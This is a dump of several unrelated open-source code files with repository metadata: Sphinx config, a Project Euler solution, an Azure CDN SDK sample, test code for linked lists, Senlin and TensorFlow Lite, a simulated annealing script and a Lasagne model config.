# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'sphinx'
# If true, `todo` and `todoList` produce output, else they produce nothing.
todo_include_todos = True
# -- Options for HTML output ----------------------------------------------
# The theme to use for HTML and HTML Help pages. See the documentation for
# a list of builtin themes.
#
import sphinx_rtd_theme
html_theme = "sphinx_rtd_theme"
html_theme_path = [sphinx_rtd_theme.get_html_theme_path()]
# Theme options are theme-specific and customize the look and feel of a theme
# further. For a list of options available for each theme, see the
# documentation.
#
# html_theme_options = {}
# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['.static']
# -- Options for HTMLHelp output ------------------------------------------
# Output file base name for HTML help builder.
htmlhelp_basename = 'PyCuDNNdoc'
# -- Options for LaTeX output ---------------------------------------------
latex_elements = {
# The paper size ('letterpaper' or 'a4paper').
#
# 'papersize': 'letterpaper',
# The font size ('10pt', '11pt' or '12pt').
#
# 'pointsize': '10pt',
# Additional stuff for the LaTeX preamble.
#
# 'preamble': '',
# Latex figure (float) alignment
#
# 'figure_align': 'htbp',
}
# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title,
# author, documentclass [howto, manual, or own class]).
latex_documents = [
(master_doc, 'PyCuDNN.tex', u'PyCuDNN Documentation',
u'Konstantyn Komarov', 'manual'),
]
# -- Options for manual page output ---------------------------------------
# One entry per manual page. List of tuples
# (source start file, name, description, authors, manual section).
man_pages = [
(master_doc, 'pycudnn', u'PyCuDNN Documentation',
[author], 1)
]
# -- Options for Texinfo output -------------------------------------------
# Grouping the document tree into Texinfo files. List of tuples
# (source start file, target name, title, author,
# dir menu entry, description, category)
texinfo_documents = [
(master_doc, 'PyCuDNN', u'PyCuDNN Documentation',
author, 'PyCuDNN', 'One line description of project.',
'Miscellaneous'),
]
| {
"content_hash": "150d12578f45403d0eabf8e22b3f79ea",
"timestamp": "",
"source": "github",
"line_count": 140,
"max_line_length": 78,
"avg_line_length": 28.65,
"alnum_prop": 0.6646721515831463,
"repo_name": "komarov-k/pycudnn",
"id": "7a367cc8d02cc749ef1aee6f3350aa86db081099",
"size": "5063",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "docs/source/conf.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "C++",
"bytes": "83807"
},
{
"name": "Python",
"bytes": "1795"
}
],
"symlink_target": ""
} |
'''
Problem 187
A composite is a number containing at least two prime factors. For example, 15 = 3 × 5; 9 = 3 × 3; 12 = 2 × 2 × 3.
There are ten composites below thirty containing precisely two, not necessarily distinct, prime factors:
4, 6, 9, 10, 14, 15, 21, 22, 25, 26.
How many composite integers, n < 108, have precisely two, not necessarily distinct, prime factors?
'''
from util import prime_sieve
def p187():
cnt = 0
primes = prime_sieve(49999992)
lp = len(primes)
for i in range(0, lp - 1):
for j in range(i, lp):
if primes[i] * primes[j] > 100000000:
break
# print(primes[i]* primes[j], '\t', primes[i], primes[j])
cnt += 1
print(cnt)
return
p187()
| {
"content_hash": "530273ea54b974e8d2cb93c788edb592",
"timestamp": "",
"source": "github",
"line_count": 26,
"max_line_length": 114,
"avg_line_length": 28.76923076923077,
"alnum_prop": 0.6029411764705882,
"repo_name": "byung-u/ProjectEuler",
"id": "786893e90ee6d3e7f63925231aeb10595643c16b",
"size": "800",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "Problem_100_199/euler_187.py",
"mode": "33261",
"license": "mit",
"language": [
{
"name": "Python",
"bytes": "186712"
}
],
"symlink_target": ""
} |
from azure.identity import DefaultAzureCredential
from azure.mgmt.cdn import CdnManagementClient
"""
# PREREQUISITES
pip install azure-identity
pip install azure-mgmt-cdn
# USAGE
python custom_domains_disable_custom_https.py
Before run the sample, please set the values of the client ID, tenant ID and client secret
of the AAD application as environment variables: AZURE_CLIENT_ID, AZURE_TENANT_ID,
AZURE_CLIENT_SECRET. For more info about how to get the value, please see:
https://docs.microsoft.com/azure/active-directory/develop/howto-create-service-principal-portal
"""
def main():
client = CdnManagementClient(
credential=DefaultAzureCredential(),
subscription_id="subid",
)
response = client.custom_domains.begin_disable_custom_https(
resource_group_name="RG",
profile_name="profile1",
endpoint_name="endpoint1",
custom_domain_name="www-someDomain-net",
).result()
print(response)
# x-ms-original-file: specification/cdn/resource-manager/Microsoft.Cdn/stable/2021-06-01/examples/CustomDomains_DisableCustomHttps.json
if __name__ == "__main__":
main()
| {
"content_hash": "323dc1cd1a06844f5f1fb9d95054cb9e",
"timestamp": "",
"source": "github",
"line_count": 35,
"max_line_length": 135,
"avg_line_length": 33.285714285714285,
"alnum_prop": 0.7193133047210301,
"repo_name": "Azure/azure-sdk-for-python",
"id": "d3195e38a25cf295c81697576abc8c12f7772d3c",
"size": "1633",
"binary": false,
"copies": "1",
"ref": "refs/heads/main",
"path": "sdk/cdn/azure-mgmt-cdn/generated_samples/custom_domains_disable_custom_https.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Batchfile",
"bytes": "1224"
},
{
"name": "Bicep",
"bytes": "24196"
},
{
"name": "CSS",
"bytes": "6089"
},
{
"name": "Dockerfile",
"bytes": "4892"
},
{
"name": "HTML",
"bytes": "12058"
},
{
"name": "JavaScript",
"bytes": "8137"
},
{
"name": "Jinja",
"bytes": "10377"
},
{
"name": "Jupyter Notebook",
"bytes": "272022"
},
{
"name": "PowerShell",
"bytes": "518535"
},
{
"name": "Python",
"bytes": "715484989"
},
{
"name": "Shell",
"bytes": "3631"
}
],
"symlink_target": ""
} |
import sys
import LinkedList
import solution
FP_RATIO_PREC = 2
# The number of digits of precision in the values representing
# the passed/failed ratio to the total number of tests.
def TestMain(sol, log=sys.stdout, doNotLogPassed=True) -> bool:
"""
@param sol: the function to be tested.
@param log: a stream or a file to log the tester output to.
@param doNotLogPassed: if True, all successful tests will not be logged.
@return: True if all tests in the TESTS array were successful, False otherwise.
All tester functions should follow the signature
of the TestMain function.
"""
def TestPredefined(sol, log, doNotLogPassed=True) -> bool:
class ArgsExpectedPairCollection:
def __init__(self, count=60, minVal=0, maxVal=99):
self.count = count
self.minVal = minVal
self.maxVal = maxVal
def __len__(self):
return self.count
def __iter__(self):
import random
for _ in range(self.count):
leftVal = random.randint(self.minVal, self.maxVal)
rightVal = random.randint(self.minVal, self.maxVal)
resultVal = leftVal + rightVal
leftHead = LinkedList.ConvertArrayToLinkedList(map(int, str(leftVal)))
rightHead = LinkedList.ConvertArrayToLinkedList(map(int, str(rightVal)))
resultHead = LinkedList.ConvertArrayToLinkedList(map(int, str(resultVal)))
yield ((leftHead, rightHead, ), resultHead, )
ARGS_EXPECTED_PAIRS = ArgsExpectedPairCollection()
areAllPassed = True
failedCount = 0
passedCount = 0
for testId, argsExpectedPair in enumerate(ARGS_EXPECTED_PAIRS):
args, expected = argsExpectedPair
actual = sol(*map(LinkedList.Copy, args))
isPassed = LinkedList.Equals(expected, actual)
if not(isPassed and doNotLogPassed):
print('Test #{}'.format(testId), file=log)
print('Args: ({})'.format(', '.join(map(str, args))), file=log)
print('Expected: {}'.format(expected), file=log)
print('Actual: {}'.format(actual), file=log)
print('{}'.format('OK' if expected == actual else 'FAILED'), file=log)
print( file=log)
if not isPassed:
failedCount += 1
areAllPassed = False
else:
passedCount += 1
passedRatio = passedCount / len(ARGS_EXPECTED_PAIRS)
failedRatio = failedCount / len(ARGS_EXPECTED_PAIRS)
print('Passed: {}, %{:.{prec}f}'.format(passedCount, 100.0 * passedRatio, prec=FP_RATIO_PREC), file=log)
print('Failed: {}, %{:.{prec}f}'.format(failedCount, 100.0 * failedRatio, prec=FP_RATIO_PREC), file=log)
return areAllPassed
# Please add all tester functions to the TESTS tuple.
TESTS = (TestPredefined, )
areAllPassed = True
for Test in TESTS:
if not Test(sol, log, doNotLogPassed):
areAllPassed = False
return areAllPassed
if __name__ == '__main__':
TestMain(solution.AddTwo)
| {
"content_hash": "1ade7ce3e7c0b9186f7d6dfa29997566",
"timestamp": "",
"source": "github",
"line_count": 88,
"max_line_length": 112,
"avg_line_length": 40,
"alnum_prop": 0.5465909090909091,
"repo_name": "lilsweetcaligula/Algorithms",
"id": "676c2a6bee3b73230dc844bf14f99d9fe93d53ca",
"size": "3686",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "data_structures/linked_list/problems/add_two/py/tests.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "C",
"bytes": "727"
},
{
"name": "C++",
"bytes": "8643"
},
{
"name": "Python",
"bytes": "68347"
}
],
"symlink_target": ""
} |
from __future__ import print_function, division
__author__ = 'george'
from time import strftime
import random, sys, math
class Point:
def __init__(self, name, hi=1, lo=0):
"""
Create a point
:param name: Name of the point
:param hi: Max value of the point
:param lo: Min value of the point
:return: Instance of Point
"""
self.name = name
self.hi = hi
self.lo = lo
def norm(self, value):
"""
Normalize a value as (value - lo)/(hi - lo)
:param value:Value to be normalized
:return:
"""
return (value - self.lo) / (self.hi - self.lo)
def denorm(self, value):
"""
Denormalizes a value as (hi-lo)*value _ lo
:param value:
:return:
"""
return (self.hi - self.lo)*value + self.lo
class Schaffer():
def __init__(self, dec_hi=1, dec_lo=0, obj_hi=1, obj_lo=0):
"""
Initialize a schaffer model
:param dec_hi: High for decision
:param dec_lo: Low for decision
:param obj_hi: High for objectives
:param obj_lo: Low for objectives
:return: Instance of schaffer model
"""
self.decision = Point("x",dec_hi, dec_lo)
self.objective = Point("f1+f2", obj_hi, obj_lo)
def __repr__(self):
return "#" + strftime("%Y-%m-%d %H:%M:%S") + "\nSchaffer\n"
@staticmethod
def get_objectives(decision):
return decision ** 2, (decision - 2) ** 2
def eval(self, decision, do_normalize=True):
"""
Evaluate the schaffer model
:param decision: Decision value
:param do_normalize: Optional argument if it needs to be normalized before evaluating
:return:
"""
f1, f2 = Schaffer.get_objectives(decision)
if do_normalize:
return self.objective.norm(f1+f2)
else:
return f1+f2
def denorm(self, obj):
"""
Denormalize an objective
:param obj:
:return:
"""
return self.objective.denorm(obj)
def generate(self):
"""
Create a random number between the range of decisions
:return:
"""
return rand(self.decision.lo, self.decision.hi)
def neighbor(self, old, prob=0.5):
"""
Get a neighbor for a point
:param old: The initial point
:param prob: Probability to use neighbor
:return:
"""
return self.generate() if random.random() < prob else old
def get_objective_extremes(self, repeats=1000000):
"""
Get the high and low for objectives
:param repeats: Number of repeats before termination
:return:
"""
lo = sys.maxint
hi = -lo - 1
for _ in range(repeats):
val = self.eval(rand(self.decision.lo, self.decision.hi, 0.01), False)
if val > hi:
hi = val
elif val < lo:
lo = val
return hi, lo
def rand(start, stop, step=1):
"""
Generate a random number between a range
:param start: start value
:param stop: stop value
:param step: increment value
:return:
"""
mul = int(1/step)
return random.randrange(start*mul, stop*mul, 1) * step
def simulated_anneal(model, kmax=1000, cooling=5):
"""
Performs simulated annealing on a model
:param model: Instance of the model
:param kmax: Number of iterations before termination
:param cooling: Annealing factor
:return: Returns the best decision and denormalized objective
"""
def anneal(old, new, temp):
a = math.e**((old - new)/temp)
b = random.random()
return a > b
def anneal_simple(temp):
return random.random() > temp
print(model)
print("Params : ")
print("\tkmax : " + str(kmax))
print("\tGradient: " + str(cooling))
k=0
this = model.generate()
e_this = model.eval(this)
best, e_best = this, e_this
out = ""
while k < kmax-1:
k+=1
near = model.neighbor(this, 1)
e_near = model.eval(near)
key = " ."
if e_near < e_this :
key = " +"
this, e_this = near, e_near
elif anneal(e_this, e_near, (1-(k/kmax))**cooling):
#elif anneal_simple(k/kmax):
key = " ?"
this, e_this = near, e_near
if e_this < e_best:
key = " !"
best, e_best = this, e_this
out += key
if k % 50 == 0 :
print(str(model.denorm(e_best)) + out)
out = ""
return best, model.denorm(e_best)
def _test():
"""
Dummy Test method.
1) Random runs schaffer to get the extremes for objectives
2) Once objectives are obtained its fed back into another instance of schaffer.
3) Simulated annealing is used on this model
:return:
"""
dec_hi = 10**2
dec_lo = -dec_hi
dummy = Schaffer(dec_hi=dec_hi, dec_lo=dec_lo)
obj_hi, obj_lo = dummy.get_objective_extremes()
model = Schaffer(dec_hi=dec_hi, dec_lo=dec_lo, obj_hi=obj_hi, obj_lo=obj_lo)
best, energy = simulated_anneal(model)
print("\nBest decision : ", best)
print("Best Objectives : ", Schaffer.get_objectives(best))
print("Denormalized Energy : ", energy)
if __name__ == "__main__":
_test()
| {
"content_hash": "dd4c2512f5831717c6e46bdbb3509f83",
"timestamp": "",
"source": "github",
"line_count": 192,
"max_line_length": 89,
"avg_line_length": 25.364583333333332,
"alnum_prop": 0.6117043121149898,
"repo_name": "BigFatNoob-NCSU/x9115george2",
"id": "64e215eb2e2848d27f77972198dd9119177a9cc6",
"size": "4870",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "hw/code/4/Schaffer.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Python",
"bytes": "203417"
},
{
"name": "TeX",
"bytes": "176583"
}
],
"symlink_target": ""
} |
from deep_learning_layers import ConvolutionOver2DAxisLayer, MaxPoolOverAxisLayer, MaxPoolOver2DAxisLayer, \
MaxPoolOver3DAxisLayer, ConvolutionOver3DAxisLayer, ConvolutionOverAxisLayer
from default import *
import theano.tensor as T
from layers import MuLogSigmaErfLayer, CumSumLayer
import objectives
from lasagne.layers.dnn import Conv2DDNNLayer as ConvLayer
from lasagne.layers.dnn import MaxPool2DDNNLayer as MaxPoolLayer
from lasagne.layers import InputLayer
from lasagne.layers import reshape
from lasagne.layers import DenseLayer
from lasagne.layers import BatchNormLayer
from postprocess import upsample_segmentation
from volume_estimation_layers import GaussianApproximationVolumeLayer
import theano_printer
from updates import build_adam_updates
caching = None
validate_every = 10
validate_train_set = False
save_every = 10
restart_from_save = False
dump_network_loaded_data = False
batches_per_chunk = 16
batch_size = 32
sunny_batch_size = 4
num_epochs_train = 200
image_size = 128
learning_rate_schedule = {
0: 0.0001,
175: 0.00001,
195: 0.000001,
}
from preprocess import preprocess, preprocess_with_augmentation
from postprocess import postprocess_onehot
preprocess_train = preprocess_with_augmentation
preprocess_validation = preprocess # no augmentation
preprocess_test = preprocess_with_augmentation
test_time_augmentations = 100
build_updates = build_adam_updates
postprocess = postprocess
data_sizes = {
"sliced:data:singleslice:difference:middle": (batch_size, 29, image_size, image_size), # 30 time steps, 30 mri_slices, 100 px wide, 100 px high,
"sliced:data:singleslice:difference": (batch_size, 29, image_size, image_size), # 30 time steps, 30 mri_slices, 100 px wide, 100 px high,
"sliced:data:singleslice": (batch_size, 30, image_size, image_size), # 30 time steps, 30 mri_slices, 100 px wide, 100 px high,
"sliced:data:ax": (batch_size, 30, 15, image_size, image_size), # 30 time steps, 30 mri_slices, 100 px wide, 100 px high,
"sliced:data:shape": (batch_size, 2,),
"sunny": (sunny_batch_size, 1, image_size, image_size)
# TBC with the metadata
}
def build_model():
#################
# Regular model #
#################
input_key = "sliced:data:singleslice:difference"
input_size = data_sizes[input_key]
l0 = InputLayer(input_size)
# add channel layer
# l0r = reshape(l0, (-1, 1, ) + input_size[1:])
# (batch, channel, time, x, y)
l = ConvolutionOver2DAxisLayer(l0, num_filters=64, filter_size=(3, 3),
axis=(2,3), channel=1,
W=lasagne.init.Orthogonal(),
b=lasagne.init.Constant(0.1),
nonlinearity=lasagne.nonlinearities.identity
)
l = ConvolutionOver2DAxisLayer(l, num_filters=64, filter_size=(3, 3),
axis=(2,3), channel=1,
W=lasagne.init.Orthogonal(),
b=lasagne.init.Constant(0.1),
nonlinearity=lasagne.nonlinearities.identity
)
l = BatchNormLayer(l, gamma=None)
l = lasagne.layers.NonlinearityLayer(l, nonlinearity=lasagne.nonlinearities.rectify)
l = MaxPoolOver2DAxisLayer(l, pool_size=(2, 2), axis=(2,3), stride=(2,2))
l = ConvolutionOver2DAxisLayer(l, num_filters=64, filter_size=(3, 3),
axis=(2,3), channel=1,
W=lasagne.init.Orthogonal(),
b=lasagne.init.Constant(0.1),
nonlinearity=lasagne.nonlinearities.identity
)
l = ConvolutionOver2DAxisLayer(l, num_filters=64, filter_size=(3, 3),
axis=(2,3), channel=1,
W=lasagne.init.Orthogonal(),
b=lasagne.init.Constant(0.1),
nonlinearity=lasagne.nonlinearities.identity
)
l = BatchNormLayer(l, gamma=None)
l = lasagne.layers.NonlinearityLayer(l, nonlinearity=lasagne.nonlinearities.rectify)
l = MaxPoolOver2DAxisLayer(l, pool_size=(2, 2), axis=(2,3), stride=(2,2))
l = ConvolutionOver2DAxisLayer(l, num_filters=64, filter_size=(3, 3),
axis=(2,3), channel=1,
W=lasagne.init.Orthogonal(),
b=lasagne.init.Constant(0.1),
nonlinearity=lasagne.nonlinearities.identity
)
l = ConvolutionOver2DAxisLayer(l, num_filters=64, filter_size=(3, 3),
axis=(2,3), channel=1,
W=lasagne.init.Orthogonal(),
b=lasagne.init.Constant(0.1),
nonlinearity=lasagne.nonlinearities.identity
)
l = BatchNormLayer(l, gamma=None)
l = lasagne.layers.NonlinearityLayer(l, nonlinearity=lasagne.nonlinearities.rectify)
l = MaxPoolOver2DAxisLayer(l, pool_size=(2, 2), axis=(2,3), stride=(2,2))
l = ConvolutionOver2DAxisLayer(l, num_filters=64, filter_size=(3, 3),
axis=(2,3), channel=1,
W=lasagne.init.Orthogonal(),
b=lasagne.init.Constant(0.1),
nonlinearity=lasagne.nonlinearities.identity
)
l = ConvolutionOver2DAxisLayer(l, num_filters=64, filter_size=(3, 3),
axis=(2,3), channel=1,
W=lasagne.init.Orthogonal(),
b=lasagne.init.Constant(0.1),
nonlinearity=lasagne.nonlinearities.identity
)
l = BatchNormLayer(l, gamma=None)
l = lasagne.layers.NonlinearityLayer(l, nonlinearity=lasagne.nonlinearities.rectify)
l = MaxPoolOver2DAxisLayer(l, pool_size=(2, 2), axis=(2,3), stride=(2,2))
l_dense = lasagne.layers.DenseLayer(lasagne.layers.DropoutLayer(l),
num_units=600,
nonlinearity=lasagne.nonlinearities.softmax)
l_systole = CumSumLayer(l_dense)
#===================================================================================
l = ConvolutionOver2DAxisLayer(l0, num_filters=64, filter_size=(3, 3),
axis=(2,3), channel=1,
W=lasagne.init.Orthogonal(),
b=lasagne.init.Constant(0.1),
nonlinearity=lasagne.nonlinearities.identity
)
l = ConvolutionOver2DAxisLayer(l, num_filters=64, filter_size=(3, 3),
axis=(2,3), channel=1,
W=lasagne.init.Orthogonal(),
b=lasagne.init.Constant(0.1),
nonlinearity=lasagne.nonlinearities.identity
)
l = BatchNormLayer(l, gamma=None)
l = lasagne.layers.NonlinearityLayer(l, nonlinearity=lasagne.nonlinearities.rectify)
l = MaxPoolOver2DAxisLayer(l, pool_size=(2, 2), axis=(2,3), stride=(2,2))
l = ConvolutionOver2DAxisLayer(l, num_filters=64, filter_size=(3, 3),
axis=(2,3), channel=1,
W=lasagne.init.Orthogonal(),
b=lasagne.init.Constant(0.1),
nonlinearity=lasagne.nonlinearities.identity
)
l = ConvolutionOver2DAxisLayer(l, num_filters=64, filter_size=(3, 3),
axis=(2,3), channel=1,
W=lasagne.init.Orthogonal(),
b=lasagne.init.Constant(0.1),
nonlinearity=lasagne.nonlinearities.identity
)
l = BatchNormLayer(l, gamma=None)
l = lasagne.layers.NonlinearityLayer(l, nonlinearity=lasagne.nonlinearities.rectify)
l = MaxPoolOver2DAxisLayer(l, pool_size=(2, 2), axis=(2,3), stride=(2,2))
l = ConvolutionOver2DAxisLayer(l, num_filters=64, filter_size=(3, 3),
axis=(2,3), channel=1,
W=lasagne.init.Orthogonal(),
b=lasagne.init.Constant(0.1),
nonlinearity=lasagne.nonlinearities.identity
)
l = ConvolutionOver2DAxisLayer(l, num_filters=64, filter_size=(3, 3),
axis=(2,3), channel=1,
W=lasagne.init.Orthogonal(),
b=lasagne.init.Constant(0.1),
nonlinearity=lasagne.nonlinearities.identity
)
l = BatchNormLayer(l, gamma=None)
l = lasagne.layers.NonlinearityLayer(l, nonlinearity=lasagne.nonlinearities.rectify)
l = MaxPoolOver2DAxisLayer(l, pool_size=(2, 2), axis=(2,3), stride=(2,2))
l = ConvolutionOver2DAxisLayer(l, num_filters=64, filter_size=(3, 3),
axis=(2,3), channel=1,
W=lasagne.init.Orthogonal(),
b=lasagne.init.Constant(0.1),
nonlinearity=lasagne.nonlinearities.identity
)
l = ConvolutionOver2DAxisLayer(l, num_filters=64, filter_size=(3, 3),
axis=(2,3), channel=1,
W=lasagne.init.Orthogonal(),
b=lasagne.init.Constant(0.1),
nonlinearity=lasagne.nonlinearities.identity
)
l = BatchNormLayer(l, gamma=None)
l = lasagne.layers.NonlinearityLayer(l, nonlinearity=lasagne.nonlinearities.rectify)
l = MaxPoolOver2DAxisLayer(l, pool_size=(2, 2), axis=(2,3), stride=(2,2))
l_dense = lasagne.layers.DenseLayer(lasagne.layers.DropoutLayer(l),
num_units=600,
nonlinearity=lasagne.nonlinearities.softmax)
l_diastole = CumSumLayer(l_dense)
return {
"inputs":{
input_key: l0
},
"outputs": {
"systole": l_systole,
"diastole": l_diastole,
}
}
def build_objective(interface_layers):
return objectives.KaggleObjective(interface_layers["outputs"])
| {
"content_hash": "c979b0c34b78ed972830b11287257d29",
"timestamp": "",
"source": "github",
"line_count": 241,
"max_line_length": 148,
"avg_line_length": 46.35269709543569,
"alnum_prop": 0.5194700563960254,
"repo_name": "317070/kaggle-heart",
"id": "b5c2f44b209565861a63276852b1839adac1984e",
"size": "11171",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "configurations/j3_single_slice7b.py",
"mode": "33261",
"license": "mit",
"language": [
{
"name": "Python",
"bytes": "2686608"
}
],
"symlink_target": ""
} |
import mock
from openstack import exceptions as sdk_exc
from osc_lib import exceptions as exc
from senlinclient.tests.unit.v1 import fakes
from senlinclient.v1 import policy_type as osc_policy_type
class TestPolicyType(fakes.TestClusteringv1):
def setUp(self):
super(TestPolicyType, self).setUp()
self.mock_client = self.app.client_manager.clustering
class TestPolicyTypeList(TestPolicyType):
expected_columns = ['name', 'version', 'support_status']
pt1 = mock.Mock(
schema={'foo': 'bar'},
support_status={
"1.0": [{"status": "SUPPORTED", "since": "2016.10"}]
}
)
pt1.name = 'BBB'
pt2 = mock.Mock(
schema={'foo': 'bar'},
support_status={
"1.0": [{"status": "DEPRECATED", "since": "2016.01"}]
}
)
pt2.name = 'AAA'
list_response = [pt1, pt2]
expected_rows = [
('AAA', '1.0', 'DEPRECATED since 2016.01'),
('BBB', '1.0', 'SUPPORTED since 2016.10')
]
def setUp(self):
super(TestPolicyTypeList, self).setUp()
self.cmd = osc_policy_type.PolicyTypeList(self.app, None)
self.mock_client.policy_types = mock.Mock(
return_value=self.list_response)
def test_policy_type_list(self):
arglist = []
parsed_args = self.check_parser(self.cmd, arglist, [])
expected_columns = self.expected_columns
expected_rows = self.expected_rows
columns, rows = self.cmd.take_action(parsed_args)
if len(columns) == 2:
expected_columns = ['name', 'version']
expected_rows = [
('CCC', '1.0')
]
self.mock_client.policy_types.assert_called_with()
self.assertEqual(expected_columns, columns)
self.assertEqual(expected_rows, rows)
class TestPolicyTypeShow(TestPolicyType):
def setUp(self):
super(TestPolicyTypeShow, self).setUp()
self.cmd = osc_policy_type.PolicyTypeShow(self.app, None)
fake_pt = mock.Mock(schema={'foo': 'bar'})
fake_pt.name = 'senlin.policy.deletion-1.0'
self.mock_client.get_policy_type = mock.Mock(return_value=fake_pt)
def test_policy_type_show(self):
arglist = ['os.heat.stack-1.0']
parsed_args = self.check_parser(self.cmd, arglist, [])
self.cmd.take_action(parsed_args)
self.mock_client.get_policy_type.assert_called_once_with(
'os.heat.stack-1.0')
def test_policy_type_show_not_found(self):
arglist = ['senlin.policy.deletion-1.0']
parsed_args = self.check_parser(self.cmd, arglist, [])
self.mock_client.get_policy_type.side_effect = (
sdk_exc.ResourceNotFound())
error = self.assertRaises(exc.CommandError, self.cmd.take_action,
parsed_args)
self.assertEqual('Policy Type not found: senlin.policy.deletion-1.0',
str(error))
| {
"content_hash": "2f3b8fb5f9d7f90f5cb4d15cef44a7fc",
"timestamp": "",
"source": "github",
"line_count": 84,
"max_line_length": 77,
"avg_line_length": 35.11904761904762,
"alnum_prop": 0.6010169491525423,
"repo_name": "stackforge/python-senlinclient",
"id": "f4d82c9bf897f3d166d8ac98747769db0b977fc8",
"size": "3499",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "senlinclient/tests/unit/v1/test_policy_type.py",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "Python",
"bytes": "404602"
},
{
"name": "Shell",
"bytes": "3347"
}
],
"symlink_target": ""
} |
"""Tests for lite.py functionality related to MLIR-TFLite converter."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import numpy as np
from tensorflow.lite.python import lite
from tensorflow.lite.python import lite_constants
from tensorflow.lite.python.interpreter import Interpreter
from tensorflow.python import keras
from tensorflow.python.client import session
from tensorflow.python.eager import def_function
from tensorflow.python.framework import constant_op
from tensorflow.python.framework import dtypes
from tensorflow.python.framework import ops
from tensorflow.python.framework import tensor_spec
from tensorflow.python.framework import test_util
from tensorflow.python.ops import array_ops
from tensorflow.python.ops import control_flow_ops
from tensorflow.python.ops import math_ops
from tensorflow.python.ops import rnn
from tensorflow.python.ops import rnn_cell_impl
from tensorflow.python.ops import variables
from tensorflow.python.platform import test
from tensorflow.python.training.tracking import tracking
class FromSessionTest(test_util.TensorFlowTestCase):
def testFloat(self):
with ops.Graph().as_default():
in_tensor = array_ops.placeholder(
shape=[1, 16, 16, 3], dtype=dtypes.float32)
out_tensor = in_tensor + in_tensor
sess = session.Session()
# Convert model and ensure model is not None.
converter = lite.TFLiteConverter.from_session(sess, [in_tensor],
[out_tensor])
converter.experimental_enable_mlir_converter = True
tflite_model = converter.convert()
# Check values from converted model.
interpreter = Interpreter(model_content=tflite_model)
interpreter.allocate_tensors()
input_details = interpreter.get_input_details()
self.assertEqual(1, len(input_details))
self.assertEqual('Placeholder', input_details[0]['name'])
self.assertEqual(np.float32, input_details[0]['dtype'])
self.assertTrue(([1, 16, 16, 3] == input_details[0]['shape']).all())
self.assertEqual((0., 0.), input_details[0]['quantization'])
output_details = interpreter.get_output_details()
self.assertEqual(1, len(output_details))
self.assertEqual('add', output_details[0]['name'])
self.assertEqual(np.float32, output_details[0]['dtype'])
self.assertTrue(([1, 16, 16, 3] == output_details[0]['shape']).all())
self.assertEqual((0., 0.), output_details[0]['quantization'])
def testString(self):
with ops.Graph().as_default():
in_tensor = array_ops.placeholder(shape=[4], dtype=dtypes.string)
out_tensor = array_ops.reshape(in_tensor, shape=[2, 2])
sess = session.Session()
# Convert model and ensure model is not None.
converter = lite.TFLiteConverter.from_session(sess, [in_tensor],
[out_tensor])
converter.experimental_enable_mlir_converter = True
tflite_model = converter.convert()
# Check values from converted model.
interpreter = Interpreter(model_content=tflite_model)
interpreter.allocate_tensors()
input_details = interpreter.get_input_details()
self.assertEqual(1, len(input_details))
self.assertEqual('Placeholder', input_details[0]['name'])
self.assertEqual(np.string_, input_details[0]['dtype'])
self.assertTrue(([4] == input_details[0]['shape']).all())
output_details = interpreter.get_output_details()
self.assertEqual(1, len(output_details))
self.assertEqual('Reshape', output_details[0]['name'])
self.assertEqual(np.string_, output_details[0]['dtype'])
self.assertTrue(([2, 2] == output_details[0]['shape']).all())
def testQuantization(self):
with ops.Graph().as_default():
in_tensor_1 = array_ops.placeholder(
shape=[1, 16, 16, 3], dtype=dtypes.float32, name='inputA')
in_tensor_2 = array_ops.placeholder(
shape=[1, 16, 16, 3], dtype=dtypes.float32, name='inputB')
out_tensor = array_ops.fake_quant_with_min_max_args(
in_tensor_1 + in_tensor_2, min=0., max=1., name='output')
sess = session.Session()
# Convert model and ensure model is not None.
converter = lite.TFLiteConverter.from_session(sess,
[in_tensor_1, in_tensor_2],
[out_tensor])
converter.experimental_enable_mlir_converter = True
converter.inference_type = lite_constants.QUANTIZED_UINT8
converter.quantized_input_stats = {
'inputA': (0., 1.),
'inputB': (0., 1.)
} # mean, std_dev
tflite_model = converter.convert()
# Check values from converted model.
interpreter = Interpreter(model_content=tflite_model)
interpreter.allocate_tensors()
input_details = interpreter.get_input_details()
self.assertEqual(2, len(input_details))
self.assertEqual('inputA', input_details[0]['name'])
self.assertEqual(np.uint8, input_details[0]['dtype'])
self.assertTrue(([1, 16, 16, 3] == input_details[0]['shape']).all())
self.assertEqual((1., 0.),
input_details[0]['quantization']) # scale, zero_point
self.assertEqual('inputB', input_details[1]['name'])
self.assertEqual(np.uint8, input_details[1]['dtype'])
self.assertTrue(([1, 16, 16, 3] == input_details[1]['shape']).all())
self.assertEqual((1., 0.),
input_details[1]['quantization']) # scale, zero_point
output_details = interpreter.get_output_details()
self.assertEqual(1, len(output_details))
self.assertEqual('add', output_details[0]['name'])
self.assertEqual(np.uint8, output_details[0]['dtype'])
self.assertTrue(([1, 16, 16, 3] == output_details[0]['shape']).all())
self.assertGreater(output_details[0]['quantization'][0], 0) # scale
def testScalarValid(self):
# Construct a graph using a scalar (empty shape) input.
with ops.Graph().as_default():
in_tensor = array_ops.placeholder(dtype=dtypes.float32, shape=[])
out_tensor = in_tensor + in_tensor
sess = session.Session()
# Test conversion with the scalar input shape.
converter = lite.TFLiteConverter.from_session(sess, [in_tensor],
[out_tensor])
converter.experimental_enable_mlir_converter = True
tflite_model = converter.convert()
# Check values from converted model.
interpreter = Interpreter(model_content=tflite_model)
interpreter.allocate_tensors()
input_details = interpreter.get_input_details()
self.assertEqual(1, len(input_details))
self.assertEqual('Placeholder', input_details[0]['name'])
self.assertEqual(np.float32, input_details[0]['dtype'])
self.assertEqual(len(input_details[0]['shape']), 0)
output_details = interpreter.get_output_details()
self.assertEqual(1, len(output_details))
self.assertEqual('add', output_details[0]['name'])
